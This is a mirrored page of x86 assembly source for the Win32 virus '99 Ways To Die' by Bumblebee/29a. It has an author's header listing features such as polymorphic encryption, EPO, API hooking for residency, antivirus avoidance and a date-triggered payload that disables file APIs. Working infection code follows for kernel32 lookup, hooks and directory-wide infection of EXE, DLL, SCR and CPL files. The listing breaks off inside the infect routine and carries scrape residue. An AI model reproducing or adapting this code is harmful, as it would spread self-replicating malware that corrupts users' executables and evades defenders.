mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-18 17:36:11 +00:00
1887 lines
54 KiB
NASM
1887 lines
54 KiB
NASM
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;
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; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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; <20><><EFBFBD> <20><><EFBFBD> <20><><EFBFBD> <20><><EFBFBD> <20><><EFBFBD> <20><><EFBFBD>
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; 99 Ways To Die <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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; Coded by Bumblebee/29a <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD> <20><><EFBFBD>
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; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD> <20><><EFBFBD>
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; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ŀ
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; <20> Words from the author <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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; . It could seem like a remake of Win32.RainSong. But i feel it's a
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; quite new virus. I ever try to re-use some 'well coded' piezes of
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; code, so this virus has little parts of RainSong, AOC, ...
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; . I hope you'll find it interesting, even if you've seen my previous
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; viruses yet due it infects dinamic link libraries and executables.
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; . The name this time is due a kewl song by Megadeth. 99 Ways to die!
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;
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; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ŀ
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; <20> Disclaimer <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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; . This is the source code of a VIRUS. The author is not responsabile
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; of any damage that may occur due to the assembly of this file. Use
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; it at your own risk. Cuidadiiin!
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;
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; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ŀ
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; <20> Features <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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; . Win32 per-process resident PE infector.
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; . Infects 10 files per time from current and windows folders.
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; . Infection increasing last section.
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; . Uses EPO tech. If it cannot apply EPO, it doesn't infect. This makes
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; the virus more hard to detect, but infection ratio falls a bit...
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; . Uses variable encryption with polymorphism and variable key slide.
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; . Size padding as infection sign. Also avoids to infect files with
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; CERW attributes in last section (i assume they're infected yet).
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; Marks files that are not adequate to be infected.
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; . Updates PE header checksum after infection.
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; . Hooks:
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; CreateFileA
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; MoveFileA
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; CopyFileA
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; CreateProcessA
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; SetFileAttributesA
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; GetFileAttributesA
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; SearchPathA
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; SetCurrentDirectoryA
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; . Gets KERNEL32.DLL address using SEH and searches for Win9x, WinNt
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; and Win2k.
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; . Uses CRC32 instead of names to get needed APIs.
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; . Self integrity check using CRC32. This is easy to implement and
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; quite effective way to make debug harder.
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; . Infects PE files with extension: EXE SCR CPL DLL.
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; . Takes care of the relocations (it infects DLL).
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; . Avoids infect most used av (only in runtime part).
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; . Has active payload about a year after infection. Payload remains
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; active a whole month. At this month hooked API will not work. This
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; is not as 'terrible' as it seems. User can change the date...
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; I know avers are going to say '...it's a dangerous...' shit.
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;
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; There are other interesting things, but i think is better you take a
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; look to the comments inside the code. Moreover in 29#5 there is a
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; little article about considerations while infecting DLL.
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;
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; I realy need a break... no more virus coding for some months. I hope
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; you'll find nice this release. I have an idea about a nice tech...
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;
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;
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; The way of the bee
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;
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.486p
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locals
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.model flat,STDCALL
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extrn ExitProcess:PROC ; needed for 1st generation
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extrn MessageBoxA:PROC
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;
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; Some macros and equs
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;
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@strz macro string
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jmp @@a
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@@b:
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db string,0
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@@a:
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push offset @@b
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endm
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; Notice this could work only in my system due the harcoded address of
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; MessageBoxA, but this is only for debug in my comp ;)
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@debug macro title,reg
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pushad
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push 1000h
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@@tit: @strz title
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pop eax
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add eax,ebp
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push eax
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push reg
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push 0h
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mov eax,0bff5412eh
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call eax
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popad
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endm
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@hook macro ApiAddress
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lea eax,ApiAddress
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jmp generalHook
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endm
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vSize equ vEnd-vBegin
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PADDING equ 101
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STRINGTOP equ 160
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crptSize equ vSize-5
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; from BC++ Win32 API on-line Reference
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WIN32_FIND_DATA struc
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dwFileAttributes dd 0
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dwLowDateTime0 dd ? ; creation
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dwHigDateTime0 dd ?
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dwLowDateTime1 dd ? ; last access
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dwHigDateTime1 dd ?
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dwLowDateTime2 dd ? ; last write
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dwHigDateTime2 dd ?
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nFileSizeHigh dd ?
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nFileSizeLow dd ?
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dwReserved dd 0,0
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cFileName db 260 dup(0)
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cAlternateFilename db 14 dup(0)
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db 2 dup(0)
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WIN32_FIND_DATA ends
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.DATA
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; dummy data
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db 'WARNING - This is a virus carrier - WARNING'
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.CODE
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inicio: ; now i've realized i ever
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; put this label in spanish!
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pushad
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call getDelta
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lea esi,vBegin+ebp ; setup CRC32 for 1st
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mov edi,vSize-4 ; generation
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call CRC32
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mov dword ptr [myCRC32+ebp],eax
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xor dword ptr [hostRET+ebp],eax ; hide hostEP
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popad
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;
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; 99Ways begins here!
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;
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vBegin label byte
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call crypt ; decrypt
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; here starts encrypted data -> vBegin + 5
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pushad
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; get delta offset
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call getDelta
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mov eax,dword ptr [myCRC32+ebp] ; restore hostEP
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xor dword ptr [hostRET+ebp],eax ; before CRC32
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lea esi,vBegin+ebp ; integrity check
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mov edi,vSize-4 ; using CRC32
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call CRC32
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cmp eax,dword ptr [myCRC32+ebp]
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je skipFakeProcess
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cli
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call $ ; this will fake the proc
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skipFakeProcess:
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mov esi,dword ptr [kernel32+ebp] ; test last used
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call GetKernel32
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jnc getAPIsNow
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mov esi,077f00000h ; test for winNt
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call GetKernel32
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jnc getAPIsNow
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mov esi,077e00000h ; test for win2k
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call GetKernel32
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jnc getAPIsNow
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mov esi,0bff70000h ; test for win9x
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call GetKernel32
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jc returnHost
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getAPIsNow:
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; now get APIs using CRC32
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mov edi,0bff70000h ; coded using win9x
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kernel32 equ $-4
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; ^ this is a nice way to optimize code and hide data,
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; almost all the non-temporary data can be plazed inside code!
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mov esi,edi
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mov esi,dword ptr [esi+3ch]
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add esi,edi
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mov esi,dword ptr [esi+78h]
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add esi,edi
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add esi,1ch
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lodsd
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add eax,edi
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mov dword ptr [address+ebp],eax
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lodsd
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add eax,edi
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mov dword ptr [names+ebp],eax
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lodsd
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add eax,edi
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mov dword ptr [ordinals+ebp],eax
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sub esi,16
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lodsd
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mov dword ptr [nexports+ebp],eax
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xor edx,edx
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mov dword ptr [expcount+ebp],edx
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lea eax,FSTAPI+ebp
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searchl:
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mov esi,dword ptr [names+ebp]
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add esi,edx
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mov esi,dword ptr [esi]
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add esi,edi
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push eax edx edi
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xor edi,edi
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movzx di,byte ptr [eax+4]
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call CRC32
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xchg ebx,eax
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pop edi edx eax
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cmp ebx,dword ptr [eax]
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je fFound
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add edx,4
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inc dword ptr [expcount+ebp]
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push edx
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mov edx,dword ptr [expcount+ebp]
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cmp dword ptr [nexports+ebp],edx
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pop edx
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je returnHost
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jmp searchl
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fFound:
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shr edx,1
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add edx,dword ptr [ordinals+ebp]
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xor ebx,ebx
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mov bx,word ptr [edx]
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shl ebx,2
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add ebx,dword ptr [address+ebp]
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mov ecx,dword ptr [ebx]
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add ecx,edi
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mov dword ptr [eax+5],ecx
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add eax,9
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|||
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xor edx,edx
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mov dword ptr [expcount+ebp],edx
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|||
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lea ecx,ENDAPI+ebp
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cmp eax,ecx
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jb searchl
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|
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; make a copy of virus in memory and work there
|
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|
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push 00000040h
|
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push 00001000h OR 00002000h
|
|||
|
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push (vSize+1000h)
|
|||
|
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push 0h
|
|||
|
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call dword ptr [_VirtualAlloc+ebp]
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|||
|
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or eax,eax
|
|||
|
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jz returnHost
|
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|
|
|||
|
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lea edi,vBegin+ebp
|
|||
|
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sub edi,dword ptr [virusEP+ebp]
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|||
|
|
add dword ptr [imageBase+ebp],edi ; fix relocations
|
|||
|
|
; in the hook routine
|
|||
|
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lea esi,vBegin+ebp
|
|||
|
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mov edi,eax
|
|||
|
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mov ecx,vSize
|
|||
|
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rep movsb
|
|||
|
|
|
|||
|
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; patch file loaded copy
|
|||
|
|
call patchVirusBody
|
|||
|
|
|
|||
|
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; jmp into memory copy - put into edi the return address
|
|||
|
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; for the memory copy
|
|||
|
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lea edi,vBegin+ebp
|
|||
|
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add eax,offset memCopy-offset vBegin
|
|||
|
|
push eax
|
|||
|
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ret
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|||
|
|
|
|||
|
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memCopy:
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|||
|
|
; get delta offset another time for memory copy
|
|||
|
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call getDelta
|
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|
|
; setup the ret to jmp patched virus copy
|
|||
|
|
mov dword ptr [retPatch+ebp],edi
|
|||
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|
|
|||
|
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mov byte ptr [payload+ebp],0
|
|||
|
|
|
|||
|
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lea edx,dateTime+ebp
|
|||
|
|
push edx
|
|||
|
|
call dword ptr [_GetSystemTime+ebp]
|
|||
|
|
|
|||
|
|
lea edx,dateTime+ebp
|
|||
|
|
mov ax,word ptr [edx+2]
|
|||
|
|
mov bx,-1
|
|||
|
|
countdown equ $-2
|
|||
|
|
; another time
|
|||
|
|
cmp bx,ax ; the day arrived?
|
|||
|
|
jne skipPay
|
|||
|
|
|
|||
|
|
mov byte ptr [payload+ebp],1
|
|||
|
|
|
|||
|
|
skipPay:
|
|||
|
|
; alloc a temporary buffer to generate the poly sample
|
|||
|
|
; of the virus ready to infect
|
|||
|
|
push 00000004h
|
|||
|
|
push 00001000h OR 00002000h
|
|||
|
|
push (vSize+1000h)
|
|||
|
|
push 0h
|
|||
|
|
call dword ptr [_VirtualAlloc+ebp]
|
|||
|
|
or eax,eax
|
|||
|
|
jz quitFromMem
|
|||
|
|
|
|||
|
|
mov dword ptr [memHnd+ebp],eax
|
|||
|
|
|
|||
|
|
; the same polymorphic routine is used for each infection
|
|||
|
|
; in the current execution of the virus
|
|||
|
|
call dword ptr [_GetTickCount+ebp]
|
|||
|
|
mov edi,dword ptr [memHnd+ebp]
|
|||
|
|
add edi,vSize
|
|||
|
|
mov ecx,(crptSize/4)-(4-(crptSize MOD 4))
|
|||
|
|
call GenDCrpt
|
|||
|
|
; store the size of the sample (for infection process)
|
|||
|
|
add eax,vSize
|
|||
|
|
mov dword ptr [gensize+ebp],eax
|
|||
|
|
|
|||
|
|
; Hook the API to get per-process residency
|
|||
|
|
; Notice this must be called before any infection
|
|||
|
|
call hookApi
|
|||
|
|
|
|||
|
|
; set infection counter to 10
|
|||
|
|
mov byte ptr [infCount+ebp],10
|
|||
|
|
call infectDir ; infect current
|
|||
|
|
|
|||
|
|
cmp byte ptr [infCount+ebp],0 ; better performance
|
|||
|
|
je quitFromMem
|
|||
|
|
|
|||
|
|
lea esi,currentPath+ebp ; get current directory
|
|||
|
|
push esi
|
|||
|
|
push STRINGTOP
|
|||
|
|
call dword ptr [_GetCurrentDirectoryA+ebp]
|
|||
|
|
or eax,eax
|
|||
|
|
jz quitFromMem
|
|||
|
|
|
|||
|
|
push STRINGTOP ; get windows directory
|
|||
|
|
lea esi,tmpPath+ebp
|
|||
|
|
push esi
|
|||
|
|
call dword ptr [_GetWindowsDirectoryA+ebp]
|
|||
|
|
or eax,eax
|
|||
|
|
jz quitFromMem
|
|||
|
|
|
|||
|
|
lea esi,tmpPath+ebp ; goto windows directory
|
|||
|
|
push esi
|
|||
|
|
call dword ptr [_SetCurrentDirectoryA+ebp]
|
|||
|
|
or eax,eax
|
|||
|
|
jz quitFromMem
|
|||
|
|
|
|||
|
|
call infectDir ; infect windows folder
|
|||
|
|
|
|||
|
|
lea esi,currentPath+ebp ; go back home
|
|||
|
|
push esi
|
|||
|
|
call dword ptr [_SetCurrentDirectoryA+ebp]
|
|||
|
|
|
|||
|
|
; this is the way to return host
|
|||
|
|
; from the memory copy
|
|||
|
|
jmp quitFromMem
|
|||
|
|
|
|||
|
|
returnHost:
|
|||
|
|
|
|||
|
|
; patch virus
|
|||
|
|
call patchVirusBody
|
|||
|
|
|
|||
|
|
quitFromMem:
|
|||
|
|
popad
|
|||
|
|
push 1234568h
|
|||
|
|
retPatch equ $-4
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
; i know this way to go back to host it's a bit weird but
|
|||
|
|
; supports relocations (for DLL) and patches the virus
|
|||
|
|
; to avoid be called more than once and ...
|
|||
|
|
patchVirusBody:
|
|||
|
|
lea edi,vBegin+ebp
|
|||
|
|
mov dword ptr [retPatch+ebp],edi
|
|||
|
|
mov byte ptr [edi],0e9h
|
|||
|
|
mov esi,offset fakeHost
|
|||
|
|
hostRET equ $-4
|
|||
|
|
; hehe
|
|||
|
|
mov edx,edi
|
|||
|
|
sub edx,offset vBegin
|
|||
|
|
virusEP equ $-4
|
|||
|
|
; hehehe
|
|||
|
|
add esi,edx
|
|||
|
|
sub esi,5
|
|||
|
|
sub esi,edi
|
|||
|
|
mov dword ptr [edi+1],esi
|
|||
|
|
ret
|
|||
|
|
;
|
|||
|
|
; Returns Delta offset into ebp.
|
|||
|
|
;
|
|||
|
|
getDelta:
|
|||
|
|
call delta
|
|||
|
|
delta:
|
|||
|
|
pop ebp
|
|||
|
|
sub ebp,offset delta
|
|||
|
|
ret
|
|||
|
|
;
|
|||
|
|
; Gets KERNEL32.DLL address in memory.
|
|||
|
|
;
|
|||
|
|
GetKernel32:
|
|||
|
|
pushad
|
|||
|
|
xor edx,edx
|
|||
|
|
lea eax,dword ptr [esp-8h]
|
|||
|
|
xchg eax,dword ptr fs:[edx]
|
|||
|
|
lea edi,GetKernel32Exception+ebp
|
|||
|
|
push edi
|
|||
|
|
push eax
|
|||
|
|
|
|||
|
|
cmp word ptr [esi],'ZM'
|
|||
|
|
jne GetKernel32NotFound
|
|||
|
|
mov dx,word ptr [esi+3ch]
|
|||
|
|
cmp esi,dword ptr [esi+edx+34h]
|
|||
|
|
jne GetKernel32NotFound
|
|||
|
|
mov dword ptr [kernel32+ebp],esi
|
|||
|
|
|
|||
|
|
xor edi,edi
|
|||
|
|
pop dword ptr fs:[edi]
|
|||
|
|
pop eax
|
|||
|
|
popad
|
|||
|
|
clc
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
GetKernel32Exception:
|
|||
|
|
xor edi,edi
|
|||
|
|
mov eax,dword ptr fs:[edi]
|
|||
|
|
mov esp,dword ptr [eax]
|
|||
|
|
GetKernel32NotFound:
|
|||
|
|
xor edi,edi
|
|||
|
|
pop dword ptr fs:[edi]
|
|||
|
|
pop eax
|
|||
|
|
popad
|
|||
|
|
stc
|
|||
|
|
ret
|
|||
|
|
;
|
|||
|
|
; This routine makes CRC32.
|
|||
|
|
;
|
|||
|
|
CRC32:
|
|||
|
|
cld
|
|||
|
|
xor ecx,ecx
|
|||
|
|
dec ecx
|
|||
|
|
mov edx,ecx
|
|||
|
|
push ebx
|
|||
|
|
NextByteCRC:
|
|||
|
|
xor eax,eax
|
|||
|
|
xor ebx,ebx
|
|||
|
|
lodsb
|
|||
|
|
xor al,cl
|
|||
|
|
mov cl,ch
|
|||
|
|
mov ch,dl
|
|||
|
|
mov dl,dh
|
|||
|
|
mov dh,8
|
|||
|
|
NextBitCRC:
|
|||
|
|
shr bx,1
|
|||
|
|
rcr ax,1
|
|||
|
|
jnc NoCRC
|
|||
|
|
xor ax,08320h
|
|||
|
|
xor bx,0EDB8h
|
|||
|
|
NoCRC:
|
|||
|
|
dec dh
|
|||
|
|
jnz NextBitCRC
|
|||
|
|
xor ecx,eax
|
|||
|
|
xor edx,ebx
|
|||
|
|
dec edi
|
|||
|
|
jnz NextByteCRC
|
|||
|
|
pop ebx
|
|||
|
|
not edx
|
|||
|
|
not ecx
|
|||
|
|
mov eax,edx
|
|||
|
|
rol eax,16
|
|||
|
|
mov ax,cx
|
|||
|
|
ret
|
|||
|
|
;
|
|||
|
|
; This routine hooks the APIs that gives virus residency.
|
|||
|
|
; Takes care of relocations.
|
|||
|
|
;
|
|||
|
|
hookApi:
|
|||
|
|
pushad
|
|||
|
|
; init the sem to free
|
|||
|
|
mov byte ptr [semHook+ebp],0
|
|||
|
|
mov edx,400000h
|
|||
|
|
imageBase equ $-4
|
|||
|
|
; ;)
|
|||
|
|
cmp word ptr [edx],'ZM'
|
|||
|
|
jne noHook
|
|||
|
|
mov edi,edx
|
|||
|
|
add edi,dword ptr [edx+3ch]
|
|||
|
|
cmp word ptr [edi],'EP'
|
|||
|
|
jne noHook
|
|||
|
|
mov edi,dword ptr [edi+80h] ; RVA import
|
|||
|
|
or edi,edi
|
|||
|
|
jz noHook
|
|||
|
|
add edi,edx
|
|||
|
|
searchK32Imp:
|
|||
|
|
mov esi,dword ptr [edi+0ch] ; get name
|
|||
|
|
or esi,esi
|
|||
|
|
jz noHook
|
|||
|
|
add esi,edx
|
|||
|
|
push edi ; save (stringUp doesn't)
|
|||
|
|
call stringUp
|
|||
|
|
pop edi
|
|||
|
|
jc nextName
|
|||
|
|
lea esi,stringBuffer+ebp
|
|||
|
|
cmp dword ptr [esi],'NREK' ; look for Kernel32 module
|
|||
|
|
jne nextName
|
|||
|
|
cmp dword ptr [esi+4],'23LE'
|
|||
|
|
je k32ImpFound
|
|||
|
|
nextName:
|
|||
|
|
add edi,14h
|
|||
|
|
mov esi,dword ptr [edi]
|
|||
|
|
or esi,esi
|
|||
|
|
jz noHook
|
|||
|
|
jmp searchK32Imp
|
|||
|
|
k32ImpFound:
|
|||
|
|
mov esi,dword ptr [edi+10h] ; get address table
|
|||
|
|
or esi,esi
|
|||
|
|
jz noHook
|
|||
|
|
add esi,edx
|
|||
|
|
lea ecx,HOOKTABLEEND+ebp
|
|||
|
|
nextImp: ; search for APIs
|
|||
|
|
lea edx,HOOKTABLEBEGIN+ebp
|
|||
|
|
lodsd
|
|||
|
|
or eax,eax
|
|||
|
|
jz noHook
|
|||
|
|
checkNextAPI:
|
|||
|
|
mov edi,dword ptr [edx]
|
|||
|
|
cmp eax,dword ptr [edi+ebp]
|
|||
|
|
je doHook
|
|||
|
|
add edx,8
|
|||
|
|
cmp edx,ecx
|
|||
|
|
jne checkNextAPI
|
|||
|
|
jmp nextImp
|
|||
|
|
doHook:
|
|||
|
|
mov eax,dword ptr [edx+4]
|
|||
|
|
add eax,ebp
|
|||
|
|
mov dword ptr [esi-4],eax
|
|||
|
|
add edx,8
|
|||
|
|
cmp edx,ecx
|
|||
|
|
jne nextImp
|
|||
|
|
noHook:
|
|||
|
|
popad
|
|||
|
|
ret
|
|||
|
|
;
|
|||
|
|
; Changes to upper case the string by esi storing into stringBuffer.
|
|||
|
|
; Sets carry flag if our string buffer is small. Returns in edi the
|
|||
|
|
; end of the string into the buffer.
|
|||
|
|
;
|
|||
|
|
stringUp:
|
|||
|
|
push esi eax
|
|||
|
|
lea edi,stringBuffer+ebp
|
|||
|
|
mov eax,edi
|
|||
|
|
add eax,STRINGTOP
|
|||
|
|
stringUpLoop:
|
|||
|
|
cmp eax,edi
|
|||
|
|
jne continueStringUp
|
|||
|
|
stc
|
|||
|
|
jmp stringUpOut
|
|||
|
|
continueStringUp:
|
|||
|
|
movsb
|
|||
|
|
cmp byte ptr [esi-1],'a'
|
|||
|
|
jb skipThisChar
|
|||
|
|
cmp byte ptr [esi-1],'z'
|
|||
|
|
ja skipThisChar
|
|||
|
|
add byte ptr [edi-1],'A'-'a'
|
|||
|
|
skipThisChar:
|
|||
|
|
cmp byte ptr [esi-1],0
|
|||
|
|
jne stringUpLoop
|
|||
|
|
dec edi
|
|||
|
|
clc
|
|||
|
|
stringUpOut:
|
|||
|
|
pop eax esi
|
|||
|
|
ret
|
|||
|
|
;
|
|||
|
|
; The hooks.
|
|||
|
|
;
|
|||
|
|
Hook0:
|
|||
|
|
@hook _CreateFileA
|
|||
|
|
Hook1:
|
|||
|
|
@hook _MoveFileA
|
|||
|
|
Hook2:
|
|||
|
|
@hook _CopyFileA
|
|||
|
|
Hook3:
|
|||
|
|
@hook _CreateProcessA
|
|||
|
|
Hook4:
|
|||
|
|
@hook _SetFileAttributesA
|
|||
|
|
Hook5:
|
|||
|
|
@hook _GetFileAttributesA
|
|||
|
|
Hook6:
|
|||
|
|
@hook _SearchPathA
|
|||
|
|
Hook7:
|
|||
|
|
@hook _SetCurrentDirectoryA
|
|||
|
|
;
|
|||
|
|
; This is the general hook that provides per-process residency.
|
|||
|
|
;
|
|||
|
|
generalHook:
|
|||
|
|
push eax
|
|||
|
|
pushad
|
|||
|
|
pushfd
|
|||
|
|
cld
|
|||
|
|
|
|||
|
|
; get delta offset
|
|||
|
|
call getDelta
|
|||
|
|
; setup the return hook
|
|||
|
|
mov eax,dword ptr [eax+ebp]
|
|||
|
|
mov dword ptr [esp+24h],eax
|
|||
|
|
|
|||
|
|
; check if filename==NULL
|
|||
|
|
mov esi,dword ptr [esp+2ch]
|
|||
|
|
or esi,esi
|
|||
|
|
jz leaveHook
|
|||
|
|
|
|||
|
|
; check semaphore
|
|||
|
|
cmp byte ptr [semHook+ebp],0
|
|||
|
|
jne leaveHook
|
|||
|
|
|
|||
|
|
mov byte ptr [semHook+ebp],1
|
|||
|
|
|
|||
|
|
cmp byte ptr [payload+ebp],0
|
|||
|
|
je skipPayloadEffect
|
|||
|
|
|
|||
|
|
; in the date of activation all hooked APIs will fail
|
|||
|
|
xor eax,eax
|
|||
|
|
mov dword ptr [esp+2ch],eax
|
|||
|
|
jmp hookInfectionFail
|
|||
|
|
|
|||
|
|
skipPayloadEffect:
|
|||
|
|
call stringUp
|
|||
|
|
jc hookInfectionFail
|
|||
|
|
|
|||
|
|
push edi ; test the string it's
|
|||
|
|
sub edi,esi ; long enought
|
|||
|
|
cmp edi,5
|
|||
|
|
pop edi
|
|||
|
|
jna hookInfectionFail
|
|||
|
|
|
|||
|
|
cmp dword ptr [edi-4],'EXE.'
|
|||
|
|
je infectThisFile
|
|||
|
|
cmp dword ptr [edi-4],'LLD.'
|
|||
|
|
je infectThisFile
|
|||
|
|
cmp dword ptr [edi-4],'LPC.'
|
|||
|
|
je infectThisFile
|
|||
|
|
cmp dword ptr [edi-4],'RCS.'
|
|||
|
|
jne hookInfectionFail
|
|||
|
|
|
|||
|
|
infectThisFile:
|
|||
|
|
lea esi,stringBuffer+ebp ; erm... here could touch
|
|||
|
|
call infect ; any av!
|
|||
|
|
|
|||
|
|
hookInfectionFail:
|
|||
|
|
mov byte ptr [semHook+ebp],0
|
|||
|
|
leaveHook:
|
|||
|
|
popfd
|
|||
|
|
popad
|
|||
|
|
ret
|
|||
|
|
;
|
|||
|
|
; Infects PE files in current directory. It affects EXE, SCR, CPL and DLL
|
|||
|
|
; extensions.
|
|||
|
|
;
|
|||
|
|
infectDir:
|
|||
|
|
pushad
|
|||
|
|
|
|||
|
|
lea esi,find_data+ebp
|
|||
|
|
push esi
|
|||
|
|
lea esi,fndMask+ebp
|
|||
|
|
push esi
|
|||
|
|
call dword ptr [_FindFirstFileA+ebp]
|
|||
|
|
inc eax
|
|||
|
|
jz notFound
|
|||
|
|
dec eax
|
|||
|
|
|
|||
|
|
mov dword ptr [findHnd+ebp],eax
|
|||
|
|
|
|||
|
|
findNext:
|
|||
|
|
lea esi,find_data.cFileName+ebp
|
|||
|
|
call stringUp
|
|||
|
|
lea esi,stringBuffer+ebp
|
|||
|
|
push edi ; test the string it's
|
|||
|
|
sub edi,esi ; long enought
|
|||
|
|
cmp edi,5
|
|||
|
|
pop edi
|
|||
|
|
jna skipThisFile
|
|||
|
|
cmp dword ptr [edi-4],'EXE.'
|
|||
|
|
je validFileExt
|
|||
|
|
cmp dword ptr [edi-4],'LLD.'
|
|||
|
|
je validFileExt
|
|||
|
|
cmp dword ptr [edi-4],'LPC.'
|
|||
|
|
je validFileExt
|
|||
|
|
cmp dword ptr [edi-4],'RCS.'
|
|||
|
|
jne skipThisFile
|
|||
|
|
|
|||
|
|
validFileExt:
|
|||
|
|
mov eax,dword ptr [find_data.nFileSizeLow+ebp]
|
|||
|
|
cmp eax,8000h
|
|||
|
|
jb skipThisFile ; at least 8000h bytes?
|
|||
|
|
mov ecx,PADDING ; test if it's infected
|
|||
|
|
xor edx,edx ; yet
|
|||
|
|
div ecx
|
|||
|
|
or edx,edx ; reminder is zero?
|
|||
|
|
jz skipThisFile
|
|||
|
|
|
|||
|
|
testIfAv: ; let's search for strings
|
|||
|
|
; that may appear in av progs
|
|||
|
|
lea edi,avStrings+ebp
|
|||
|
|
mov ecx,vStringsCout
|
|||
|
|
testIfAvL:
|
|||
|
|
push esi
|
|||
|
|
mov ax,word ptr [edi]
|
|||
|
|
testAvLoop:
|
|||
|
|
cmp word ptr [esi],ax
|
|||
|
|
jne contTestLoop
|
|||
|
|
pop esi
|
|||
|
|
jmp skipThisFile
|
|||
|
|
contTestLoop:
|
|||
|
|
inc esi
|
|||
|
|
cmp byte ptr [esi+3],0 ; skip the extension
|
|||
|
|
jne testAvLoop
|
|||
|
|
pop esi
|
|||
|
|
add edi,2
|
|||
|
|
loop testIfAvL
|
|||
|
|
|
|||
|
|
lea esi,stringBuffer+ebp
|
|||
|
|
call infect
|
|||
|
|
|
|||
|
|
cmp byte ptr [infCount+ebp],0 ; test 10 infections
|
|||
|
|
je infectionDone
|
|||
|
|
|
|||
|
|
skipThisFile:
|
|||
|
|
lea esi,find_data+ebp
|
|||
|
|
push esi
|
|||
|
|
push dword ptr [findHnd+ebp]
|
|||
|
|
call dword ptr [_FindNextFileA+ebp] ; Find next file
|
|||
|
|
or eax,eax
|
|||
|
|
jnz findNext
|
|||
|
|
|
|||
|
|
infectionDone:
|
|||
|
|
push dword ptr [findHnd+ebp]
|
|||
|
|
call dword ptr [_FindClose+ebp]
|
|||
|
|
|
|||
|
|
notFound:
|
|||
|
|
popad
|
|||
|
|
ret
|
|||
|
|
;
|
|||
|
|
; Infects PE file increasing last section.
|
|||
|
|
;
|
|||
|
|
; ESI: addr of file name of PE to infect.
|
|||
|
|
;
|
|||
|
|
infect:
|
|||
|
|
pushad
|
|||
|
|
mov dword ptr [fNameAddr+ebp],esi
|
|||
|
|
|
|||
|
|
push esi
|
|||
|
|
push esi
|
|||
|
|
call dword ptr [_GetFileAttributesA+ebp]
|
|||
|
|
pop esi
|
|||
|
|
inc eax
|
|||
|
|
jz infectionError
|
|||
|
|
dec eax
|
|||
|
|
|
|||
|
|
mov dword ptr [fileAttrib+ebp],eax
|
|||
|
|
|
|||
|
|
push esi
|
|||
|
|
push 00000080h
|
|||
|
|
push esi
|
|||
|
|
call dword ptr [_SetFileAttributesA+ebp]
|
|||
|
|
pop esi
|
|||
|
|
or eax,eax
|
|||
|
|
jz infectionError
|
|||
|
|
|
|||
|
|
xor eax,eax
